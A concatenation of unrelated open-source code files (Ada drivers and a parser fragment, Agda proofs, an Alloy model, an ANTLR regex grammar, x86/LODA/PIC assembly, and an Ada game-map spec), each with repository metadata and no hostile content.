procedure Restore_Project_Scan_State
(Saved_State : Saved_Project_Scan_State)
is
begin
Restore_Scan_State (Saved_State.Scan_State);
Source := Saved_State.Source;
Current_Source_File := Saved_State.Current_Source_File;
end Restore_Project_Scan_State;
-----------------------------
-- Save_Project_Scan_State --
-----------------------------
procedure Save_Project_Scan_State
(Saved_State : out Saved_Project_Scan_State)
is
begin
Save_Scan_State (Saved_State.Scan_State);
Saved_State.Source := Source;
Saved_State.Current_Source_File := Current_Source_File;
end Save_Project_Scan_State;
----------------------------
-- Source_File_Is_Subunit --
----------------------------
function Source_File_Is_Subunit (X : Source_File_Index) return Boolean is
begin
Prj.Err.Scanner.Initialize_Scanner (X);
-- We scan past junk to the first interesting compilation unit
-- token, to see if it is SEPARATE. We ignore WITH keywords during
-- this and also PRIVATE. The reason for ignoring PRIVATE is that
-- it handles some error situations, and also it is possible that
-- a PRIVATE WITH feature might be approved some time in the future.
while Token = Tok_With
or else Token = Tok_Private
or else (Token not in Token_Class_Cunit and then Token /= Tok_EOF)
loop
Prj.Err.Scanner.Scan;
end loop;
return Token = Tok_Separate;
end Source_File_Is_Subunit;
end Sinput.P;
|
core/lib/path-seq/Ap.agda | AntoineAllioux/HoTT-Agda | 294 | 7363 | <reponame>AntoineAllioux/HoTT-Agda
{-# OPTIONS --without-K --rewriting #-}
open import lib.Base
open import lib.PathFunctor
open import lib.PathGroupoid
open import lib.path-seq.Reasoning
module lib.path-seq.Ap where
module _ {i j} {A : Type i} {B : Type j} (f : A → B) where
ap-seq : {a a' : A} → a =-= a' → f a =-= f a'
ap-seq [] = []
ap-seq (p ◃∙ s) = ap f p ◃∙ ap-seq s
private
ap-seq-∙-= : {a a' : A} → (s : a =-= a')
→ ap f (↯ s) == ↯ (ap-seq s)
ap-seq-∙-= [] = idp
ap-seq-∙-= (p ◃∙ []) = idp
ap-seq-∙-= (idp ◃∙ s@(_ ◃∙ _)) = ap-seq-∙-= s
ap-seq-∙ : {a a' : A} (s : a =-= a')
→ (ap f (↯ s) ◃∎) =ₛ ap-seq s
ap-seq-∙ s = =ₛ-in (ap-seq-∙-= s)
∙-ap-seq : {a a' : A} (s : a =-= a')
→ ap-seq s =ₛ (ap f (↯ s) ◃∎)
∙-ap-seq s = !ₛ (ap-seq-∙ s)
ap-seq-=ₛ : {a a' : A} {s t : a =-= a'}
→ s =ₛ t
→ ap-seq s =ₛ ap-seq t
ap-seq-=ₛ {s = s} {t = t} (=ₛ-in p) =
ap-seq s
=ₛ⟨ ∙-ap-seq s ⟩
ap f (↯ s) ◃∎
=ₛ₁⟨ ap (ap f) p ⟩
ap f (↯ t) ◃∎
=ₛ⟨ ap-seq-∙ t ⟩
ap-seq t ∎ₛ
module _ {i j k} {A : Type i} {B : Type j} {C : Type k} (f : A → B → C) where
ap2-seq : {a a' : A} {b b' : B} → a =-= a' → b =-= b' → f a b =-= f a' b'
ap2-seq [] [] = []
ap2-seq {a = a} [] t@(_ ◃∙ _) = ap-seq (f a) t
ap2-seq {b = b} s@(_ ◃∙ _) [] = ap-seq (λ a → f a b) s
ap2-seq (p ◃∙ s) (q ◃∙ t) = ap2 f p q ◃∙ ap2-seq s t
private
ap2-seq-∙-= : {a a' : A} {b b' : B}
(s : a =-= a') (t : b =-= b')
→ ap2 f (↯ s) (↯ t) == ↯ (ap2-seq s t)
ap2-seq-∙-= [] [] = idp
ap2-seq-∙-= {a = a} [] t@(_ ◃∙ _) =
ap2 f idp (↯ t)
=⟨ ap2-idp-l f (↯ t) ⟩
ap (f a) (↯ t)
=⟨ =ₛ-out (ap-seq-∙ (f a) t) ⟩
↯ (ap-seq (f a) t) =∎
ap2-seq-∙-= {b = b} s@(_ ◃∙ _) [] =
ap2 f (↯ s) idp
=⟨ ap2-idp-r f (↯ s) ⟩
ap (λ a → f a b) (↯ s)
=⟨ =ₛ-out (ap-seq-∙ (λ a → f a b) s ) ⟩
↯ (ap-seq (λ a → f a b) s) =∎
ap2-seq-∙-= (p ◃∙ []) (q ◃∙ []) = idp
ap2-seq-∙-= {a' = a'} (p ◃∙ []) (q ◃∙ t@(_ ◃∙ _)) =
ap2 f p (q ∙ ↯ t)
=⟨ ap (λ r → ap2 f r (q ∙ ↯ t)) (! (∙-unit-r p)) ⟩
ap2 f (p ∙ idp) (q ∙ ↯ t)
=⟨ ap2-∙ f p idp q (↯ t) ⟩
ap2 f p q ∙ ap2 f idp (↯ t)
=⟨ ap (ap2 f p q ∙_) (ap2-idp-l f (↯ t)) ⟩
ap2 f p q ∙ ap (f a') (↯ t)
=⟨ ap (ap2 f p q ∙_) (=ₛ-out (ap-seq-∙ (f a') t)) ⟩
ap2 f p q ∙ ↯ (ap-seq (f a') t) =∎
ap2-seq-∙-= {b' = b'} (p ◃∙ s@(_ ◃∙ _)) (q ◃∙ []) =
ap2 f (p ∙ ↯ s) q
=⟨ ap (ap2 f (p ∙ ↯ s)) (! (∙-unit-r q)) ⟩
ap2 f (p ∙ ↯ s) (q ∙ idp)
=⟨ ap2-∙ f p (↯ s) q idp ⟩
ap2 f p q ∙ ap2 f (↯ s) idp
=⟨ ap (ap2 f p q ∙_) (ap2-idp-r f (↯ s)) ⟩
ap2 f p q ∙ ap (λ a → f a b') (↯ s)
=⟨ ap (ap2 f p q ∙_) (=ₛ-out (ap-seq-∙ (λ a → f a b') s)) ⟩
ap2 f p q ∙ ↯ (ap-seq (λ a → f a b') s) =∎
ap2-seq-∙-= (p ◃∙ s@(_ ◃∙ _)) (q ◃∙ t@(_ ◃∙ _)) =
ap2 f (p ∙ ↯ s) (q ∙ ↯ t)
=⟨ ap2-∙ f p (↯ s) q (↯ t) ⟩
ap2 f p q ∙ ap2 f (↯ s) (↯ t)
=⟨ ap (ap2 f p q ∙_) (ap2-seq-∙-= s t) ⟩
ap2 f p q ∙ ↯ (ap2-seq s t) =∎
ap2-seq-∙ : {a a' : A} {b b' : B}
(s : a =-= a') (t : b =-= b')
→ ap2 f (↯ s) (↯ t) ◃∎ =ₛ ap2-seq s t
ap2-seq-∙ s t = =ₛ-in (ap2-seq-∙-= s t)
∙-ap2-seq : {a a' : A} {b b' : B}
(s : a =-= a') (t : b =-= b')
→ ap2-seq s t =ₛ ap2 f (↯ s) (↯ t) ◃∎
∙-ap2-seq s t = !ₛ (ap2-seq-∙ s t)
|
drivers/drivers-nrf24.adb | ekoeppen/MSP430_Generic_Ada_Drivers | 0 | 30861 | <filename>drivers/drivers-nrf24.adb<gh_stars>0
with System;
with Utils;
package body Drivers.NRF24 is
package IRQHandler is new HAL.Pin_IRQ (Pin => IRQ);
type UInt2 is mod 2 ** 2;
type UInt3 is mod 2 ** 3;
type Register_Type is (
CONFIG,
EN_AA,
EN_RXADDR,
SETUP_AW,
SETUP_RETR,
RF_CH,
RF_SETUP,
STATUS,
OBSERVE_TX,
RPD,
RX_ADDR_P0,
RX_ADDR_P1,
RX_ADDR_P2,
RX_ADDR_P3,
RX_ADDR_P4,
RX_ADDR_P5,
TX_ADDR,
RX_PW_P0,
RX_PW_P1,
RX_PW_P2,
RX_PW_P3,
RX_PW_P4,
RX_PW_P5,
FIFO_STATUS,
DYNPD,
FEATURE);
for Register_Type use (
CONFIG => 16#00#,
EN_AA => 16#01#,
EN_RXADDR => 16#02#,
SETUP_AW => 16#03#,
SETUP_RETR => 16#04#,
RF_CH => 16#05#,
RF_SETUP => 16#06#,
STATUS => 16#07#,
OBSERVE_TX => 16#08#,
RPD => 16#09#,
RX_ADDR_P0 => 16#0A#,
RX_ADDR_P1 => 16#0B#,
RX_ADDR_P2 => 16#0C#,
RX_ADDR_P3 => 16#0D#,
RX_ADDR_P4 => 16#0E#,
RX_ADDR_P5 => 16#0F#,
TX_ADDR => 16#10#,
RX_PW_P0 => 16#11#,
RX_PW_P1 => 16#12#,
RX_PW_P2 => 16#13#,
RX_PW_P3 => 16#14#,
RX_PW_P4 => 16#15#,
RX_PW_P5 => 16#16#,
FIFO_STATUS => 16#17#,
DYNPD => 16#1C#,
FEATURE => 16#1D#);
type Command_Type is (
R_REGISTER,
W_REGISTER,
R_RX_PL_WID,
R_RX_PAYLOAD,
W_TX_PAYLOAD,
W_ACK_PAYLOAD,
W_TX_PAYLOAD_NOACK,
FLUSH_TX,
FLUSH_RX,
REUSE_TX_PL,
NOP);
for Command_Type use (
R_REGISTER => 2#0000_0000#,
W_REGISTER => 2#0010_0000#,
R_RX_PL_WID => 2#0110_0000#,
R_RX_PAYLOAD => 2#0110_0001#,
W_TX_PAYLOAD => 2#1010_0000#,
W_ACK_PAYLOAD => 2#1010_1000#,
W_TX_PAYLOAD_NOACK => 2#1011_0000#,
FLUSH_TX => 2#1110_0001#,
FLUSH_RX => 2#1110_0010#,
REUSE_TX_PL => 2#1110_0011#,
NOP => 2#1111_1111#);
type Config_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
Mask_RX_DR : Boolean;
Mask_TX_DS : Boolean;
Mask_Max_RT : Boolean;
EN_CRC : Boolean;
CRCO : Boolean;
Pwr_Up : Boolean;
Prim_RX : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for Config_Register_Type use
record
Val at 0 range 0 .. 7;
Mask_RX_DR at 0 range 6 .. 6;
Mask_TX_DS at 0 range 5 .. 5;
Mask_Max_RT at 0 range 4 .. 4;
EN_CRC at 0 range 3 .. 3;
CRCO at 0 range 2 .. 2;
Pwr_Up at 0 range 1 .. 1;
Prim_RX at 0 range 0 .. 0;
end record;
type EN_AA_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
ENAA_P5 : Boolean;
ENAA_P4 : Boolean;
ENAA_P3 : Boolean;
ENAA_P2 : Boolean;
ENAA_P1 : Boolean;
ENAA_P0 : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for EN_AA_Register_Type use
record
ENAA_P5 at 0 range 5 .. 5;
ENAA_P4 at 0 range 4 .. 4;
ENAA_P3 at 0 range 3 .. 3;
ENAA_P2 at 0 range 2 .. 2;
ENAA_P1 at 0 range 1 .. 1;
ENAA_P0 at 0 range 0 .. 0;
end record;
type EN_RXADDR_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
ERX_P5 : Boolean;
ERX_P4 : Boolean;
ERX_P3 : Boolean;
ERX_P2 : Boolean;
ERX_P1 : Boolean;
ERX_P0 : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for EN_RXADDR_Register_Type use
record
ERX_P5 at 0 range 5 .. 5;
ERX_P4 at 0 range 4 .. 4;
ERX_P3 at 0 range 3 .. 3;
ERX_P2 at 0 range 2 .. 2;
ERX_P1 at 0 range 1 .. 1;
ERX_P0 at 0 range 0 .. 0;
end record;
type Address_Width_Type is (AW_3_Unsigned_8s, AW_4_Unsigned_8s, AW_5_Unsigned_8s);
for Address_Width_Type use (AW_3_Unsigned_8s => 1, AW_4_Unsigned_8s => 2, AW_5_Unsigned_8s => 3);
type Setup_AW_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
AW : Address_Width_Type;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for Setup_AW_Register_Type use
record
AW at 0 range 0 .. 2;
end record;
type RF_SETUP_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
CONST_WAVE : Boolean;
RF_DR_LOW : Boolean;
PLL_LOCK : Boolean;
RF_DR_HIGH : Boolean;
RF_PWR : UInt2;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for RF_SETUP_Register_Type use
record
CONST_WAVE at 0 range 7 .. 7;
RF_DR_LOW at 0 range 5 .. 5;
PLL_LOCK at 0 range 4 .. 4;
RF_DR_HIGH at 0 range 3 .. 3;
RF_PWR at 0 range 1 .. 2;
end record;
type STATUS_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
RX_DR : Boolean;
TX_DS : Boolean;
MAX_RT : Boolean;
RX_P_NO : UInt3;
TX_FULL : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for STATUS_Register_Type use
record
RX_DR at 0 range 6 .. 6;
TX_DS at 0 range 5 .. 5;
MAX_RT at 0 range 4 .. 4;
RX_P_NO at 0 range 1 .. 3;
TX_FULL at 0 range 0 .. 0;
end record;
type FIFO_STATUS_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
TX_REUSE : Boolean;
TX_FULL : Boolean;
TX_EMPTY : Boolean;
RX_FULL : Boolean;
RX_EMPTY : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for FIFO_STATUS_Register_Type use
record
TX_REUSE at 0 range 6 .. 6;
TX_FULL at 0 range 5 .. 5;
TX_EMPTY at 0 range 4 .. 4;
RX_FULL at 0 range 1 .. 1;
RX_EMPTY at 0 range 0 .. 0;
end record;
type DYNPD_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
DPL_P5 : Boolean;
DPL_P4 : Boolean;
DPL_P3 : Boolean;
DPL_P2 : Boolean;
DPL_P1 : Boolean;
DPL_P0 : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for DYNPD_Register_Type use
record
DPL_P5 at 0 range 5 .. 5;
DPL_P4 at 0 range 4 .. 4;
DPL_P3 at 0 range 3 .. 3;
DPL_P2 at 0 range 2 .. 2;
DPL_P1 at 0 range 1 .. 1;
DPL_P0 at 0 range 0 .. 0;
end record;
type FEATURE_Register_Type (As_Value : Boolean := False) is
record
case As_Value is
when True =>
Val : Unsigned_8;
when False =>
EN_DPL : Boolean;
EN_ACK_PAY : Boolean;
EN_DYN_ACK : Boolean;
end case;
end record
with Unchecked_Union, Size => 8, Bit_Order => System.Low_Order_First;
for FEATURE_Register_Type use
record
EN_DPL at 0 range 2 .. 2;
EN_ACK_PAY at 0 range 1 .. 1;
EN_DYN_ACK at 0 range 0 .. 0;
end record;
Config_Init : constant Config_Register_Type := (EN_CRC => True, others => False);
EN_AA_Init : constant EN_AA_Register_Type := (others => False);
Status_Init : constant Status_Register_Type := (RX_DR => True, TX_DS => True, MAX_RT => True, RX_P_NO => 0, others => False);
AW_Init : constant Setup_AW_Register_Type := (AW => AW_5_Unsigned_8s, others => False);
EN_RXADDR_Init : constant EN_RXADDR_Register_Type := (ERX_P0 => True, ERX_P1 => True, others => False);
RF_SETUP_Init : constant RF_SETUP_Register_Type := (RF_DR_LOW => True, RF_DR_HIGH => False, RF_PWR => 3, others => False);
FEATURE_Init : constant FEATURE_Register_Type := (EN_DPL => True, EN_DYN_ACK => True, others => False);
DYNPD_Init : constant DYNPD_Register_Type := (DPL_P0 => True, DPL_P1 => True, others => False);
RX_Mode_Setting : constant Config_Register_Type := (EN_CRC => True, PRIM_RX => True, PWR_UP => True, others => False);
TX_Mode_Setting : constant Config_Register_Type := (EN_CRC => True, PWR_UP => True, others => False);
procedure Write_Register (Register : Register_Type; Value : Unsigned_8);
procedure Read_Register (Register : Register_Type; Value : out Unsigned_8);
function Read_Register (Register : Register_Type) return Unsigned_8;
procedure Send_Address (Address : Address_Type);
procedure Write_Register (Register : Register_Type; Value : Unsigned_8) is
begin
Chip_Select.Clear;
SPI.Send (Register'Enum_Rep + W_REGISTER'Enum_Rep);
SPI.Send (Value);
Chip_Select.Set;
end Write_Register;
procedure Read_Register (Register : Register_Type; Value : out Unsigned_8) is
begin
Chip_Select.Clear;
SPI.Send (Register'Enum_Rep + R_REGISTER'Enum_Rep);
SPI.Receive (Value);
Chip_Select.Set;
end Read_Register;
function Read_Register (Register : Register_Type) return Unsigned_8 is
Value : Unsigned_8;
begin
Chip_Select.Clear;
SPI.Send (Register'Enum_Rep + R_REGISTER'Enum_Rep);
SPI.Receive (Value);
Chip_Select.Set;
return Value;
end Read_Register;
procedure Read_Registers (Registers : out Raw_Register_Array) is
begin
for R in Register_Type loop
Read_Register(R, Registers (R'Enum_Rep));
end loop;
end Read_Registers;
procedure Print_Registers is
begin
Put_Line (
"Status:" & Utils.To_Hex_String (Read_Register (STATUS)) &
" Config:" & Utils.To_Hex_String (Read_Register (CONFIG)) &
" RF CH:" & Utils.To_Hex_String (Read_Register (RF_CH)) &
" RF Setup:" & Utils.To_Hex_String (Read_Register (RF_SETUP)) &
" AW Setup:" & Utils.To_Hex_String (Read_Register (SETUP_AW)) &
" RX P0:" & Utils.To_Hex_String (Read_Register (RX_PW_P0)) &
" RX P1:" & Utils.To_Hex_String (Read_Register (RX_PW_P1)) &
" FIFO Status:" & Utils.To_Hex_String (Read_Register (FIFO_STATUS)) &
" DYNPD:" & Utils.To_Hex_String (Read_Register (DYNPD)) &
" Feature:" & Utils.To_Hex_String (Read_Register (FEATURE))
);
end Print_Registers;
procedure Init is
begin
Power_Down;
Write_Register (SETUP_AW, AW_Init.Val);
Write_Register (EN_AA, EN_AA_Init.Val);
Write_Register (STATUS, STATUS_Init.Val);
Write_Register (RF_SETUP, RF_SETUP_Init.Val);
Write_Register (EN_RXADDR, EN_RXADDR_Init.Val);
Write_Register (DYNPD, DYNPD_Init.Val);
Write_Register (FEATURE, FEATURE_Init.Val);
IRQHandler.Configure_Trigger (Falling => True);
Chip_Select.Clear;
SPI.Send (FLUSH_TX'Enum_Rep);
Chip_Select.Set;
Chip_Select.Clear;
SPI.Send (FLUSH_RX'Enum_Rep);
Chip_Select.Set;
end Init;
procedure Set_Channel (Channel : Channel_Type) is
begin
Write_Register (RF_CH, Channel);
end Set_Channel;
procedure Send_Address (Address : Address_Type) is
begin
for I in Address'Range loop
SPI.Send (Address (I));
end loop;
end Send_Address;
procedure Set_RX_Address (Address : Address_Type) is
begin
Chip_Select.Clear;
SPI.Send (RX_ADDR_P1'Enum_Rep + W_REGISTER'Enum_Rep);
Send_Address (Address);
Chip_Select.Set;
end Set_RX_Address;
procedure Set_TX_Address (Address : Address_Type) is
begin
Chip_Select.Clear;
SPI.Send (TX_ADDR'Enum_Rep + W_REGISTER'Enum_Rep);
Send_Address (Address);
Chip_Select.Set;
Chip_Select.Clear;
SPI.Send (RX_ADDR_P0'Enum_Rep + W_REGISTER'Enum_Rep);
Send_Address (Address);
Chip_Select.Set;
end Set_TX_Address;
procedure TX_Mode is
begin
Write_Register (CONFIG, TX_Mode_Setting.Val);
end TX_Mode;
procedure RX_Mode is
begin
Write_Register (CONFIG, RX_Mode_Setting.Val);
Chip_Enable.Set;
end RX_Mode;
procedure TX (Packet: Packet_Type) is
S : Status_Register_Type;
begin
IRQHandler.Clear_Trigger;
Chip_Select.Clear;
SPI.Send (FLUSH_TX'Enum_Rep);
Chip_Select.Set;
Chip_Select.Clear;
SPI.Send (W_TX_PAYLOAD_NOACK'Enum_Rep);
for I in Packet'Range loop
SPI.Send (Packet (I));
end loop;
Chip_Select.Set;
Chip_Enable.Set;
Clock.Delay_us (500);
Chip_Enable.Clear;
loop
S.Val := Read_Register (STATUS);
exit when S.TX_DS;
end loop;
Write_Register (STATUS, STATUS_Init.Val);
end TX;
function Wait_For_RX return Boolean is
begin
IRQHandler.Clear_Trigger;
IRQHandler.Wait_For_Trigger;
Write_Register (STATUS, STATUS_Init.Val);
return IRQHandler.Triggered;
end Wait_For_RX;
procedure RX (Packet : out Packet_Type) is
begin
Chip_Select.Clear;
SPI.Send (FLUSH_RX'Enum_Rep);
Chip_Select.Set;
end RX;
procedure Power_Down is
begin
Chip_Enable.Clear;
Write_Register (CONFIG, Config_Init.Val);
end Power_Down;
procedure Cancel is
begin
IRQHandler.Cancel_Wait;
end Cancel;
end Drivers.NRF24;
|
models/aleks/ints1.als | transclosure/Amalgam | 4 | 3240 | one sig S {
a : Int,
b : Int
}
run {
S.a + S.b = 5
} for 1
|
include/parser/grammar/Regex.g4 | melzareix/jit-regex | 2 | 6602 | <filename>include/parser/grammar/Regex.g4<gh_stars>1-10
grammar Regex;
/**
* SQL Regex Syntax.
* http://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref40/firebird-40-language-reference.html#fblangref40-commons-predsimilarto
*/
/**
Lexer Rules.
*/
WS: [\t\n\r]+ -> skip;
INT: Digit;
Wildcard: '%'; // equivalent to => .*
CharacterClassStart: '[';
CharacterClassEnd: ']';
Caret: '^';
Hyphen: '-';
Underscore: '_'; // equivalent to => .
Pipe: '|';
OpenParen: '(';
CloseParen: ')';
Plus: '+';
Asterisk: '*';
Qmark: '?';
OpenBrace: '{';
CloseBrace: '}';
Comma: ',';
Newline: 'n';
EscapeChar: '\\';
LETTER: UnicodeLetter;
/**
Parser Rules.
*/
regex: alternation EOF;
// union expression a | b
alternation: expression ('|' expression)*;
// concat expression
expression: element+;
element: atom quantifier?;
/*
a+ a? a* a{1} a{1,} a{1,10}
*/
quantifier:
Asterisk
| Plus
| Qmark
| '{' min = number (Comma (max = number)?)? '}';
number: INT+;
atom:
character
| characterClass
| Wildcard
| '(' capture = alternation ')';
character: EscapeChar specialChar | regularCharacter;
characterClass:
Underscore # anyChar
| CharacterClassStart Caret negative = classMember+ CharacterClassEnd # ccNegative
| CharacterClassStart positive = classMember+ CharacterClassEnd # ccPositive;
classMember:
range
| predefinedClass
| ccUnescapedChar
| EscapeChar ccEscapedChar
| regularCharacter;
range: min = character Hyphen max = character;
predefinedClass:
CharacterClassStart ':' predefinedClassName ':' CharacterClassEnd;
predefinedClassName:
value = 'ALPHA'
| value = 'UPPER'
| value = 'LOWER'
| value = 'DIGIT'
| value = 'ALNUM'
| value = 'SPACE'
| value = 'WHITESPACE';
// regularCharacter: value = LETTER | value = INT;
regularCharacter:
value = LETTER
| value = Caret
| value = Hyphen
| value = Newline
| value = Comma
| value = ':'
| value = INT;
specialChar:
value = Asterisk
| value = Plus
| value = Newline
| value = Qmark
| value = CharacterClassStart
| value = CharacterClassEnd
| value = OpenParen
| value = CloseParen
| value = Caret
// | value = Hyphen
| value = Underscore
| value = Pipe
| value = OpenBrace
| value = CloseBrace
| value = Wildcard
| value = EscapeChar;
ccEscapedChar:
| value = EscapeChar
| value = Newline
| value = CharacterClassStart
| value = CharacterClassEnd;
ccUnescapedChar:
value = Asterisk
| value = Plus
| value = Qmark
| value = OpenParen
| value = CloseParen
| value = Caret
| value = Underscore
| value = Pipe
| value = OpenBrace
| value = CloseBrace
| value = Wildcard
| value = Hyphen;
fragment Digit: [0-9];
// fragment UnicodeLetter: [\p{Alnum}]; fragment UnicodeLetter: [\p{L}\p{M}*]; fragment
// UnicodeLetter: [\p{Emoji}];
fragment UnicodeLetter: [\u{00000}-\u{1FFFF}];
fragment LetterOrDigit: Letter | [0-9];
fragment Letter: [a-zA-Z];
fragment ASCII: [\u0000-\u007F]; |
DiOS/io.asm | diniremix/NaOS | 0 | 2039 | <filename>DiOS/io.asm<gh_stars>0
;controlada Ok (ver si el getstring deja borrar mas atras de donde empezo)
;# Funcion PutChar #########################################################
;# Descripcion:
;# Pone un caracter en la posicion del cursor
;# Parametros:
;# AL -> Caracter a mostrar
;# Retorno:
;# Ninguno
;# Nota:
;# Hacerlo sin la Bios
;###########################################################################
putChar:
push ax ; guardamos...
mov ah,0eh ; funcion putChar de la Bios
int 10h ; interrupcion de video
pop ax ; recuperamos
ret ; return
;# Funcion putString #######################################################
;# Descripcion:
;# Pone la cadena en la posicion del cursor
;# Parametros:
;# SI -> cadena a mostrar terminada en 0
;# Retorno:
;# Ninguno
;# Nota:
;# -
;###########################################################################
putString:
push ax ; ponemos en la pila los valores que modificamos
push si
.l1:
mov al,[si] ; cargamos el caracter
cmp al,0 ; nos fijamos si es el terminador
jz .fin ; si es el terminador terminamos
call putChar ; ponemos el caracter
inc si ; SI++
jmp .l1 ; de nuevo...
.fin:
pop si ; recuperamos los valores
pop ax
ret ; return
;# Funcion getChar #########################################################
;# Descripcion:
;# obtiene un caracter y lo retira del buffer
;# Parametros:
;# -
;# Retorno:
;# AH -> scancode
;# AL -> ASCII
;# Nota:
;# Hacerlo sin la BIOS
;###########################################################################
getChar:
mov ah,0 ; getkey de la bios
int 16h ; int de teclado
call putChar ; lo mostramos
ret
;# Funcion GetString #######################################################
;# Descripcion:
;# obtiene una cadena hasta que se presiona enter
;# Parametros:
;# CX -> cantidad de caracteres maxima a leer
;# ES:DI -> donde poner la cadena
;# Retorno:
;# DI -> la cadena
;# Nota:
;# -
;###########################################################################
getString:
push cx
push ax ; guardamos...
push di
push si
mov si,di
.l1:
cmp cx,0
jz .fin
mov ah,0 ; getkey de la bios
int 16h ; int de teclado
dec cx
cmp al,0xd ; es enter?
jz .fin ; si es terminamos
cmp al,0x8 ; es backSpace?
jz .bs ; lo tratamos
call putChar
mov [di],al ; si no, ponemos el carater
inc di ; DI++
jmp .l1 ; de nuevo
.bs:
cmp si,di ; si llego al primer caracter
je .l1 ; pide el que sigue
call putChar
dec di ; si no, DI--
jmp .l1 ; pide el que sigue
.fin:
mov byte [di],0 ; ponemos el terminador de cadena
mov al,13 ; bajamos a la linea siguiente
call putChar
mov al,10
call putChar
pop si
pop di
pop ax ; restauramos...
pop cx
ret |
programs/oeis/031/A031987.asm | neoneye/loda | 22 | 92061 | ; A031987: Numbers with exactly five distinct base-10 digits.
; 10234,10235,10236,10237,10238,10239,10243,10245,10246,10247,10248,10249,10253,10254,10256,10257,10258,10259,10263,10264,10265,10267,10268,10269,10273,10274,10275,10276,10278,10279
mov $2,$0
div $0,6
mul $0,3
add $0,$2
mul $0,11
div $0,10
add $0,10234
|
Labs/1_simple_expression/1e_parser_plus_2_listeners_to_evaluate_with_rule_labels/Expr.g4 | MNXANL/GRAU-CL | 0 | 5960 | grammar Expr;
s : e ;
e : (op=MAX|o=MIN) L_PAR e COMMA e (COMMA e)* R_PAR # maxmin
| L_PAR e R_PAR # pars
| op=SUB e # neg
| e (op=MULT|op=DIV) e # proddiv
| e (op=ADD|op=SUB) e # plusminus
| INT # value
;
MIN : 'min' ; // Simple commas for strings!
MAX : 'max' ;
L_PAR: '(' ;
R_PAR: ')' ;
AND : '&';
OR : 'v';
NOT : '!' ;
MULT: '*' ;
DIV: '/' ;
SUB : '-' ;
ADD : '+' ;
INT : [0-9]+ ;
WS : [ \t\n]+ -> skip ;
|
agda-stdlib/src/Algebra/FunctionProperties.agda | DreamLinuxer/popl21-artifact | 5 | 5041 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- This module is DEPRECATED. Please use `Algebra` or
-- `Algebra.Definitions` instead.
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
open import Relation.Binary.Core using (Rel)
module Algebra.FunctionProperties {a ℓ} {A : Set a} (_≈_ : Rel A ℓ) where
{-# WARNING_ON_IMPORT
"Algebra.FunctionProperties was deprecated in v1.2.
Use Algebra.Definitions instead."
#-}
open import Algebra.Core public
open import Algebra.Definitions _≈_ public
|
src/firmware-tests/Platform/Flash/ReadFlashWordAsPairOfSevenBitBytes/ReadFlashWordAsPairOfSevenBitBytesWhenEvenTest.asm | pete-restall/Cluck2Sesame-Prototype | 1 | 168648 | <reponame>pete-restall/Cluck2Sesame-Prototype
#include "Platform.inc"
#include "FarCalls.inc"
#include "Flash.inc"
#include "TestFixture.inc"
radix decimal
ReadFlashWordAsPairOfSevenBitBytesWhenEvenTest code
global testArrange
testArrange:
testAct:
loadFlashAddressOf string
fcall readFlashWordAsPairOfSevenBitBytes
testAssert:
.aliasWForAssert _a
.aliasLiteralForAssert 'A', _b
.assert "_a == _b, 'Expected high(string) == A.'"
.aliasForAssert EEDAT, _a
.aliasLiteralForAssert 'B', _b
.assert "_a == _b, 'Expected low(string) == B.'"
return
string da "AB"
end
|
Source/game_map.ads | XMoose25X/Advanced-Dungeon-Assault | 1 | 23671 | <gh_stars>1-10
With Ada.Text_IO, Ada.Integer_Text_IO, Ada.Float_Text_IO, player, inventory_list, stats, Ada.Unchecked_Deallocation;
Use Ada.Text_IO, Ada.Integer_Text_IO, Ada.Float_Text_IO, player, inventory_list, stats;
---------------------------------------------------------------------------------------------------
Package game_map is
---------------------------------------------------------------------------------------------------
-- <NAME>, <NAME>, <NAME>
-- Map Package
---------------------------------------------------------------------------------------------------
Type Room_Ptr is Private;
Type Coords is Array (Integer Range <>, Integer Range <>) of Integer;
Type Map_Stuff is Record
Chars : Character;
Color : Character;
End Record;
Type Map_Type is Array (Integer Range <>, Integer Range <>) of Map_Stuff;
Boss_Icon : Character := Character'Val(234); -- Ω
Chest_Icon : Character := Character'Val(236); -- ∞
Statue_Icon : Character := 't';
Function Empty (Position : in Room_Ptr) Return Boolean;
Procedure Print(Current : in Room_Ptr; Map : in Map_Type);
Procedure Move_North (Pos : in out Room_Ptr; Map : in out Map_Type; My_Player : in out Player_Type; RoomID : out Integer);
Procedure Move_East (Pos : in out Room_Ptr; Map : in out Map_Type; My_Player : in out Player_Type; RoomID : out Integer);
Procedure Move_South (Pos : in out Room_Ptr; Map : in out Map_Type; My_Player : in out Player_Type; RoomID : out Integer);
Procedure Move_West (Pos : in out Room_Ptr; Map : in out Map_Type; My_Player : in out Player_Type; RoomID : out Integer);
Procedure Initialize (Level : in out Coords; Start : Out Room_Ptr);
Procedure Link(Level : in out Coords; Current : in out Room_Ptr; Map : in out Map_Type);
Procedure Traverse (Location : in Room_Ptr; Floor_Map : in out Map_Type; Show_North : in Boolean := True;
Show_East : in Boolean := True; Show_South : in Boolean := True; Show_West : in Boolean := True);
Procedure Show_Screen (Location : in out Room_Ptr; Floor_Map : in out Map_Type);
